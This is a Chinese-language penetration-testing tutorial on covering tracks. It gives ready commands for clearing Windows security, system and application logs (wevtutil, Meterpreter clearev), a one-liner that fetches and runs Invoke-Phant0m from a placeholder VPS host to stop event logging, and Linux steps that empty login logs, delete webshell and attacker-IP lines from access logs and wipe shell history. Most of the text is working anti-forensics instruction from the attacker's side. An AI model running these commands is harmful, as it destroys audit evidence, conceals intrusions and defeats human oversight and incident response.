痕迹擦除

/01 痕迹清除简介

在渗透测试过程中,Windows日志往往会记录系统上的敏感操作,如添加用户,远程登录,执行命令等。攻击者 通常会对Windows日志进行清除和绕过。

/02 Windows痕迹清除

如何查看:

事件查看器->Windows日志

image-20210103183931633

Win + r 输入eventvwr.msc

image-20210103183952011

保存路径:

C:\Windows\System32\winevt\Logs\

image-20210103184025292

一,Windows日志

包括五个类别:应用程序、安全、Setup、系统、转发事件

image-20210103184132057

1
powershell -c "Get-WinEvent -FilterHashtable @{logname='Application';}"

系统日志:System

记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等

应用程序日志:Application

包含由应用程序或系统程序记录的事件,主要记录程序运行方面的事件,例如数据库程序可以在应用程序日志 中记录文件错误,程序开发人员可以自行决定监视哪些事件。

安全日志:Security

记录系统的安全审计事件,包含各种类型的登录日志、对象访问日志、进程追踪日志、特权使用、帐号管理、 策略变更、系统事件。安全日志也是调查取证中最常用到的日志。

二,Windows日志清理

wevtutil.exe:用于检索有关事件日志和发布者的信息,安装 和卸载事件清单,运行查询以及导出、存档和清除日志。

1
2
3
4
wevtutil cl security
wevtutil cl system
wevtutil cl application
wevtutil cl "windows powershell"

统计日志列表,查询所有者日志信息,包括时间,数目

1
wevtutil.exe gli Application

image-20210103185459969

查看指定类别的日志内容

1
wevtutil.exe qe Application /f:text

image-20210103185519349

删除该日志所有内容

1
wevtutil.exe cl Application

image-20210103185545291

获取security的最近十条日志

1
wevtutil.exe qe Security /f:text /rd:true /c:10

image-20210103185626356

三,meterpreter清理日志

删除所有在渗透过程中使用的工具

删除之前添加的账号:net user username /del

删除应用程序、系统和安全日志:clearev

#分别清除了应用程序,系统和安全模块的日志记录。

关闭所有的Meterpreter连接:sessions –K

1
2
#查看事件日志:
run event_manager -i

image-20210103190453912

1
2
#删除事件日志:
run event_manager -c

image-20210103190519281

四,停止日志记录

利用脚本让日志功能失效,无法记录日志。

1
powershell "IEX(new-object system.net.webclient).downloadstring('http://VPSIP:8000/InvokePhant0m.ps1');Invoke-Phant0m"

需要内部联网并且又VPS。要求有点苛刻,可以用于连网的机器

把eventlog对应的svchost进程结束,重新开启Windows Event Log服务,即可恢复日志记录

image-20210103192116382

image-20210103192128406

image-20210103192136568

/03 Linux痕迹清除

一,登录日志

ssh远程登录会产生登录日志

命令 日志文件 描述
last /var/log/wtmp 所有成功登录/登出的历史记录
lastb /var/log/btmp 登录失败尝试记录
lastlog /var/log/lastlog 最近登录记录
w,who /var/run/utmp 记录当前登录的每个用户的信息,它只保留当时连接的用户记录,不会为用户 保留永久的记录

命令的输出包括:登录名,上次登录时间,IP地址,端口等。

二, 登录日志清理

last等日志是二进制文件,无法直接修改。所以清除的最简单方式是清空日志文件本身。

清空lastb对应的/var/log/btmp文件需要root权限

1
2
3
4
#清空一下目录,结合rm和history一块使用
> /var/log/wtmp
> /var/log/btmp
> /var/log/lastlog

三,WEB日志

/var/log/httpd/access.log

/var/log/nginx/access.log

image-20210103193526950

四,WEB日志清理

1
2
cat /var/log/nginx/access.log | grep -v shell.php > /tmp/a.log
cat /tmp/a.log > /var/log/nginx/access.log

删除所有包含shell.php这个字符串的行

1
2
sed -i -e '/shell.php/d' /var/log/httpd/access.log
sed -i -e '/123\.123\.123\.123/d' /var/log/httpd/access.log

删除包含123.123.123.123这个字符串(我们自己的IP)的行.

五,定时任务日志

/var/log/cron:记录了系统定时任务相关的日志

image-20210103193634636

六,secure日志

/var/log/secure:记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用 户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中

image-20210103193715067

七,操作历史记录

1
2
3
4
history
#显示历史记录
~/.bash_history
#历史记录文件

image-20210103194021338

一般history比文件更新更快可用

1
history -w

提前写入

1
2
3
4
5
6
7
8
#删除全部历史记录:
history –w && history –c && > .bash_history
#删除指定行的历史记录:
history -d 111
#备份还原历史记录:
cp .bash_history his.txt
#删除100行以后的历史记录:
sed -i "100,$d" .bash_history

八,隐藏历史记录

开启无痕模式,禁用命令历史记录功能。

1
2
3
set +o history
恢复
set -o history

/04 Tips

该怎么清除都会留下痕迹,网络不是法外之地,要查什么多可以查得到,包括格式化硬盘。QwQ